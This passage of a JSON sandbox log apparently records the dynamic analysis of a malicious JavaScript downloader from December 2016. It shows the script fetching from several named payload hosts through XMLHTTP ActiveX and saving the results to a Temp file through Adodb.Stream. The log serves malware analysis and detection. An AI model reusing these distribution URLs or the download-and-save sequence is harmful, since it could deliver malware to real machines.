"WScript.Shell ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://realearthproperties.in/hwzyedmxdm", "async": "False", "method": "GET" }, "description": "Open", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://realearthproperties.in/hwzyedmxdm", "method": "GET" }, "description": "Send", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "file": "C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY" }, "description": "SaveToFile", "module": "Adodb.Stream ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://decorvise.com/i2qdmdy2", "async": "False", "method": "GET" }, "description": "Open", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://decorvise.com/i2qdmdy2", "method": "GET" }, "description": "Send", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://datasnood.com/jbgxjzr", "async": "False", "method": "GET" }, "description": "Open", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://datasnood.com/jbgxjzr", "method": "GET" }, "description": "Send", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://pedullaelectric.com/hmexsuo7l", "async": "False", "method": "GET" }, "description": "Open", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://pedullaelectric.com/hmexsuo7l", "method": "GET" }, "description": "Send", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "file": "C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY" }, "description": "SaveToFile", "module": "Adodb.Stream ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://stoveegol.com/wyj5rku", "async": "False", "method": "GET" }, "description": "Open", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "url": "http://stoveegol.com/wyj5rku", "method": "GET" }, "description": "Send", "module": "Microsoft XMLHTTP ActiveX" }, { "url": "about:blank", "cve": null, "data": { "file": "C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY" }, "description": "SaveToFile", "module": "Adodb.Stream ActiveX" } ], "url": "/tmp/tmp20_2wu.js", "timestamp": "2016-12-15 20:01:22.685554", "locations": [ { "mimetype": "text/html", "url": "http://realearthproperties.in/hwzyedmxdm", "flags": {}, "sha256": "c46ac2f5ba0ba393a4cc85b7b817bc5f8ea38056ab75c4a2f924775dfecb3d69", "content-type": "text/html; charset=iso-8859-1", "md5": "b83c7ac97c22ce248b09f4388c130df0", "size": 295 }, { "mimetype": "text/html", "url": "http://decorvise.com/i2qdmdy2", "flags": {}, "sha256": "1bfefd412a8f018450d67fdc3ce9e0e94566c58cfb5f5143072aa91725c8cfa0", "content-type": "text/html; charset=utf-8", "md5": "95f84bdf072a0842ec71227a8fe6fc85", "size": 23698 }, { "mimetype": "image/x-icon", "url": "http://decorvise.com/img/favicon.ico?1442415843", "flags": {}, "sha256": "0e0aa4a8e7899a287fd7040399f6a467f3826279a6b0a6814bcc4bda7557aec2", "content-type": "image/vnd.microsoft.icon", "md5": "612ece46e96b01f3eca6b6e492baad73", "size": 4286 }, { "mimetype": "image/x-icon", "url": "http://decorvise.com/img/favicon.ico?1442415843", "flags": {}, "sha256": "0e0aa4a8e7899a287fd7040399f6a467f3826279a6b0a6814bcc4bda7557aec2", "content-type": "image/vnd.microsoft.icon", "md5": "612ece46e96b01f3eca6b6e492baad73", "size": 4286 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css", "flags": {}, "sha256": "e93c8d1d262e2dcd87b7a7c71b5f40526fe1d828ea08ac0028a5fb70147bd2bf", "content-type": "text/css", "md5": "ea78bb475b90f05fb969106c5e1b2fc9", "size": 176420 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/jquery-1.11.0.min.js", "flags": {}, "sha256": "b294e973896f8f874e90a8eb1a8908ac790980d034c4c4bdf0fc3d37b8abf682", "content-type": "text/javascript", "md5": "8fc25e27d42774aeae6edbc0a18b72aa", "size": 96381 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js", "flags": {}, "sha256": "1e67d8dbcca1f6fd94e077c85c2fb40fa1c2756c99238daa8da882144260a68d", "content-type": "text/javascript", "md5": "eb05d8d73b5b13d8d84308a4751ece96", "size": 7199 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/plugins/jquery.easing.js", "flags": {}, "sha256": "91fabad8aada7dfd913da46fffba65e16f37e97fbe07612e16acba215cee6c28", "content-type": "text/javascript", "md5": "b02bef6a62053b45babfbda795b6eac0", "size": 4955 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/tools.js", "flags": {}, "sha256": "776ad0a2770ad7da94355d38665b178d06edcb8b470ca614b3f4e3106faeb051", "content-type": "text/javascript", "md5": "7af63945e5b9b17b83fb5325370982e2", "size": 19297 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/global.js", "flags": {}, "sha256": "93a374508be70d9badb8dfd95e6d3f09f7fc15c68476373a731cd5c32e5304f1", "content-type": "text/javascript", "md5": "996e89a7dcc35a8d099e940b10f7fda0", "size": 15947 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js", "flags": {}, "sha256": "650c142505681d7842af8b9eb182c38ec5b117c3326c7ae06b93cbb4be4172a2", "content-type": "text/javascript", "md5": "7ba470f70a0141a75a81d57e85c80d33", "size": 27631 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js", "flags": {}, "sha256": "67dadeecd506147b7adba2b464bb05723e729997af9df1aa0ff7696e535b4d0b", "content-type": "text/javascript", "md5": "25bb6f0d5dc5f3094b9cd007e246cf1d", "size": 2564 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js", "flags": {}, "sha256": "adcc5c324750e1de83177e28b8bebb3ad3264c7bfb3613da5193d46cd4a9358f", "content-type": "text/javascript", "md5": "f5e135a218bd73953b83c0e5ebdd46d6", "size": 36401 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js", "flags": {}, "sha256": "e9cdbebb93c076de37e208742a252641c50a5a527efcee16fd18dff10f237e36", "content-type": "text/javascript", "md5": "72805fb6fa518285d00f3721f2eeed88", "size": 54780 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js", "flags": {}, "sha256": "63500b6b7e794eff658c7b31aab9154b682ddded20751d5f9d04d6ef65439bbb", "content-type": "text/javascript", "md5": "9268dc7f6a871944d3974a495f659ce8", "size": 1552 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js", "flags": {}, "sha256": "bc50bf49cbe79ee49b4ee8b56f26ff4877bc4945c16f260b1481ba2355c96347", "content-type": "text/javascript", "md5": "cc9e759f24ba773aeef8a131889d3728", "size": 23135 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/products-comparison.js", "flags": {}, "sha256": "17375843590f172e2218208e08db75c47c62498fd6ccc12aee4144a3c4c1094d", "content-type": "text/javascript", "md5": "91c10b1fd8ea716b856733e343ee67ae", "size": 4351 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js", "flags": {}, "sha256": "489470cb34922ed94d3d50cc5a521f331346d167e62da2c8d7dbe8ab79643305", "content-type": "text/javascript", "md5": "e74623b4272b8ff78acdfb3bfe56b114", "size": 32107 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js", "flags": {}, "sha256": "68923c9df1ee0bf9a89caac9af95cbc30fdbf1d836c811f6b60f542df0ae4055", "content-type": "text/javascript", "md5": "d58fea835d9825c614aa670aa89b6422", "size": 2676 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js", "flags": {}, "sha256": "88de8847f3422574ba963b885cd481fb74790b38bd8d077f41b75e5ee97ea8df", "content-type": "text/javascript", "md5": "667dbe0197ae28806702fb36fa4b7c49", "size": 2013 }, { "mimetype": "text/plain", "url": "http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js", "flags": {}, "sha256": "165bd7d4a8ed49b1da3dea597a4ab727252be902366a47dc18c41472e5cd9dfc", "content-type": "text/javascript", "md5": "dce89db6989a4035940dbeb99d326de1", "size": 19360 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/tools/treeManagement.js", "flags": {}, "sha256": "300c5ba415ba79c37f7a05f03a367febfe4335c78af330edbe7def0b1f9413c1", "content-type": "text/javascript", "md5": "7ac93bc0acf5c20a32a554d56652550d", "size": 2961 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js", "flags": {}, "sha256": "8a06b996363683f62e06d0b2fee9a292ca85a466842aaf0906688bd2d4296b12", "content-type": "text/javascript", "md5": "aa3cf91c2e9520f2b4f62322c9f1a4dd", "size": 1730 }, { "mimetype": "text/x-pascal", "url": "http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js", "flags": {}, "sha256": "162d66037b65d2c828bca7e72b5381a41adde111a169a763f7889aa257954619", "content-type": "text/javascript", "md5": "9c96d1764b7c0515cbabd115b44bf824", "size": 19950 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js", "flags": {}, "sha256": "bde4f7b3d36da467fbafe85037789adc5450dd9f614a26bcf9bb4c3499124dc1", "content-type": "text/javascript", "md5": "475402c9c49f3d433cd6eb411485c67f", "size": 3529 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js", "flags": {}, "sha256": "4d783f424b0297c3c76aa92338d13a48d5bc032c643b3f742b9a322e3bdde50e", "content-type": "text/javascript", "md5": "824b2e1ab4fc193c8844ac6101a9e56a", "size": 12584 }, { "mimetype": "text/plain", "url": "http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js", "flags": {}, "sha256": "e3c50b914b2259ce96404f94975d8b012ff0c453884d1d9fda0f96cd2d59ee99", "content-type": "text/javascript", "md5": "dfb7d868f990030637dc7f9c69f0c706", "size": 2148 }, { "mimetype": "text/plain", "url": "http://decorvise.com/modules/wpzoom/js/wpzoom.js", "flags": {}, "sha256": "00305d9fae1607b8dbe38b26c948b795f18c30c8151f07ed3cd86f096a126b70", "content-type": "text/javascript", "md5": "54a73806299f8be0ffeb636e702ab0ae", "size": 2675 }, { "mimetype": "text/plain", "url": "http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js", "flags": {}, "sha256": "485aab89b0594f9e53bc67d0088e827d604246897bf6806dab468893ad12fd1f", "content-type": "text/javascript", "md5": "adf1629aca34372166a6849bc39041a6", "size": 2427 }, { "mimetype": "text/plain", "url": "http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js", "flags": {}, "sha256": "a5481aaf497f1200d4e0435f7f908040689d937cd7f90d742f9f64b0c23cb647", "content-type": "text/javascript", "md5": "c8695f0cfe1fe611270106b6603d01f3", "size": 2425 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js", "flags": {}, "sha256": "740cb53532e536c1c7a90cbb037a9a002d2126b34bed1d6d3722b52d2bfe11b7", "content-type": "text/javascript", "md5": "afd5cfd89a0d06a3a3483886f073069a", "size": 4938 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js", "flags": {}, "sha256": "2112897f0460a34f28469ce27e72a65f245853cde743fcdc0907ce7a17c54269", "content-type": "text/javascript", "md5": "12c125e86f481749cb3d40fbc451d4c4", "size": 6980 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js", "flags": {}, "sha256": "6bdf77d809c41a84a370d4d563f10e637530c5b4c4a0ac2ff631f83ec5230143", "content-type": "text/javascript", "md5": "3537b2621dc7ad3cc965513f39c5d439", "size": 3799 }, { "mimetype": "text/plain", "url": "http://decorvise.com/themes/jaro/css/responsive.css", "flags": {}, "sha256": "14120de7ea35235043a125cf098569dd6d3b408da4cd44b5060df907ca6011bd", "content-type": "text/css", "md5": "d00917699510a1173a00c75997cfdf3b", "size": 24276 }, { "mimetype": "text/plain", "url": "http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext", "flags": {}, "sha256": "e9d5fe184f2ae4c5857e56cef2da226ce9057e8f60310982c82886c43a2d57b8", "content-type": "text/css; charset=utf-8", "md5": "a9b94492b1ac87923da8406905edc8e9", "size": 2061 }, { "mimetype": "text/plain", "url": "http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123", "flags": {}, "sha256": "39c6075098b5ad1fdb5a65e01f10e204ee9c884b10aeae0ddaa199f2bc3cf567", "content-type": "text/css", "md5": "123397945070eb7f49d5ecef939314a5", "size": 3385 }, { "mimetype": "application/x-empty", "url": "http://pedullaelectric.com/electric/", "flags": {}, "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "content-type": "text/html; charset=UTF-8", "md5": "d41d8cd98f00b204e9800998ecf8427e", "size": 0 } ], "connections": [ { "source": "about:blank", "destination": "http://realearthproperties.in/hwzyedmxdm", "flags": {}, "method": "Microsoft XMLHTTP Exploit" }, { "source": "about:blank", "destination": "http://decorvise.com/i2qdmdy2", "flags": {}, "method": "Microsoft XMLHTTP Exploit" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/img/favicon.ico?1442415843", "flags": {}, "method": "link" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/img/favicon.ico?1442415843", "flags": {}, "method": "link" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css", "flags": {}, "method": "link" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/jquery-1.11.0.min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/jquery.easing.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/tools.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/global.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/products-comparison.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/tools/treeManagement.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/modules/wpzoom/js/wpzoom.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js", "flags": {}, "method": "script src" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/themes/jaro/css/responsive.css", "flags": {}, "method": "link" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext", "flags": {}, "method": "link" }, { "source": "http://decorvise.com/i2qdmdy2", "destination": "http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123", "flags": {}, "method": "link" }, { "source": "about:blank", "destination": "http://datasnood.com/jbgxjzr", "flags": {}, "method": "Microsoft XMLHTTP Exploit" }, { "source": "about:blank", "destination": "http://pedullaelectric.com/hmexsuo7l", "flags": {}, "method": "Microsoft XMLHTTP Exploit" }, { "source": "http://pedullaelectric.com/hmexsuo7l", "destination": "http://pedullaelectric.com/electric/", "flags": {}, "method": "http-redirect" }, { "source": "about:blank", "destination": "http://stoveegol.com/wyj5rku", "flags": {}, "method": "Microsoft XMLHTTP Exploit" } ], "logtype": "json-log", "behavior": [ { "timestamp": "2016-12-15 20:01:22.797678", "cve": "None", "method": "Dynamic Analysis", "description": "[WScript.Shell ActiveX] Expanding environment string \"%TEMP%/\"" }, { "timestamp": "2016-12-15 20:01:22.798021", "cve": "None", "method": "Dynamic Analysis", "description": "[WScript.Shell ActiveX] Expanded environment string to \"C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/\"" }, { "timestamp": "2016-12-15 20:01:22.799767", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] open('GET', 'http://realearthproperties.in/hwzyedmxdm', False)" }, { "timestamp": "2016-12-15 20:01:22.799881", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] setRequestHeaders('User-Agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')" }, { "timestamp": "2016-12-15 20:01:22.799960", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] send" }, { "timestamp": "2016-12-15 20:01:22.800014", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetching from URL http://realearthproperties.in/hwzyedmxdm (method: GET)" }, { "timestamp": "2016-12-15 20:01:22.800127", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP Exploit redirection] about:blank -> http://realearthproperties.in/hwzyedmxdm" }, { "timestamp": "2016-12-15 20:01:22.800184", "cve": "None", "method": "Dynamic Analysis", "description": "about:blank -- Microsoft XMLHTTP Exploit --> http://realearthproperties.in/hwzyedmxdm" }, { "timestamp": "2016-12-15 20:01:23.361182", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://realearthproperties.in/hwzyedmxdm (Status: 404, Referer: None)" }, { "timestamp": "2016-12-15 20:01:23.362097", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://realearthproperties.in/hwzyedmxdm (Content-type: text/html; charset=iso-8859-1, MD5: b83c7ac97c22ce248b09f4388c130df0)" }, { "timestamp": "2016-12-15 20:01:23.382086", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:01:23.382752", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Write" }, { "timestamp": "2016-12-15 20:01:23.382916", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] SaveToFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY, 2)" }, { "timestamp": "2016-12-15 20:01:23.383451", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" }, { "timestamp": "2016-12-15 20:01:23.383733", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:01:23.383817", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] LoadFromFile(C:\\Users\\7kh0hqcv\\AppData\\Local\\Temp/ZPJLQfI9rxCH7IY)" }, { "timestamp": "2016-12-15 20:01:23.383910", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Close" }, { "timestamp": "2016-12-15 20:01:23.385083", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] open('GET', 'http://decorvise.com/i2qdmdy2', False)" }, { "timestamp": "2016-12-15 20:01:23.385188", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] setRequestHeaders('User-Agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')" }, { "timestamp": "2016-12-15 20:01:23.385263", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] send" }, { "timestamp": "2016-12-15 20:01:23.385315", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetching from URL http://decorvise.com/i2qdmdy2 (method: GET)" }, { "timestamp": "2016-12-15 20:01:23.385396", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP Exploit redirection] about:blank -> http://decorvise.com/i2qdmdy2" }, { "timestamp": "2016-12-15 20:01:23.385446", "cve": "None", "method": "Dynamic Analysis", "description": "about:blank -- Microsoft XMLHTTP Exploit --> http://decorvise.com/i2qdmdy2" }, { "timestamp": "2016-12-15 20:01:24.862876", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/i2qdmdy2 (Status: 404, Referer: None)" }, { "timestamp": "2016-12-15 20:01:24.864623", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/i2qdmdy2 (Content-type: text/html; charset=utf-8, MD5: 95f84bdf072a0842ec71227a8fe6fc85)" }, { "timestamp": "2016-12-15 20:01:24.938351", "cve": "None", "method": "Dynamic Analysis", "description": "[Meta] Generator: PrestaShop" }, { "timestamp": "2016-12-15 20:01:24.939094", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/img/favicon.ico?1442415843" }, { "timestamp": "2016-12-15 20:01:24.939170", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://decorvise.com/img/favicon.ico?1442415843" }, { "timestamp": "2016-12-15 20:01:25.125382", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/img/favicon.ico?1442415843 (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:25.125806", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/img/favicon.ico?1442415843 (Content-type: image/vnd.microsoft.icon, MD5: 612ece46e96b01f3eca6b6e492baad73)" }, { "timestamp": "2016-12-15 20:01:25.126757", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/img/favicon.ico?1442415843" }, { "timestamp": "2016-12-15 20:01:25.126851", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://decorvise.com/img/favicon.ico?1442415843" }, { "timestamp": "2016-12-15 20:01:25.295064", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/img/favicon.ico?1442415843 (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:25.295430", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/img/favicon.ico?1442415843 (Content-type: image/vnd.microsoft.icon, MD5: 612ece46e96b01f3eca6b6e492baad73)" }, { "timestamp": "2016-12-15 20:01:25.296355", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css" }, { "timestamp": "2016-12-15 20:01:25.296489", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css" }, { "timestamp": "2016-12-15 20:01:26.020344", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:26.030565", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/cache/v_98_0e9de83104717b3ac89ee64c3d46e778_all.css (Content-type: text/css, MD5: ea78bb475b90f05fb969106c5e1b2fc9)" }, { "timestamp": "2016-12-15 20:01:26.102448", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/jquery-1.11.0.min.js" }, { "timestamp": "2016-12-15 20:01:26.102735", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/jquery-1.11.0.min.js" }, { "timestamp": "2016-12-15 20:01:26.584116", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/jquery-1.11.0.min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:26.593497", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/jquery-1.11.0.min.js (Content-type: text/javascript, MD5: 8fc25e27d42774aeae6edbc0a18b72aa)" }, { "timestamp": "2016-12-15 20:01:26.725147", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js" }, { "timestamp": "2016-12-15 20:01:26.725438", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js" }, { "timestamp": "2016-12-15 20:01:26.917902", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:26.923680", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/jquery-migrate-1.2.1.min.js (Content-type: text/javascript, MD5: eb05d8d73b5b13d8d84308a4751ece96)" }, { "timestamp": "2016-12-15 20:01:26.942018", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/jquery.easing.js" }, { "timestamp": "2016-12-15 20:01:26.942286", "cve": "None", "method": "Dynamic Analysis", "description": 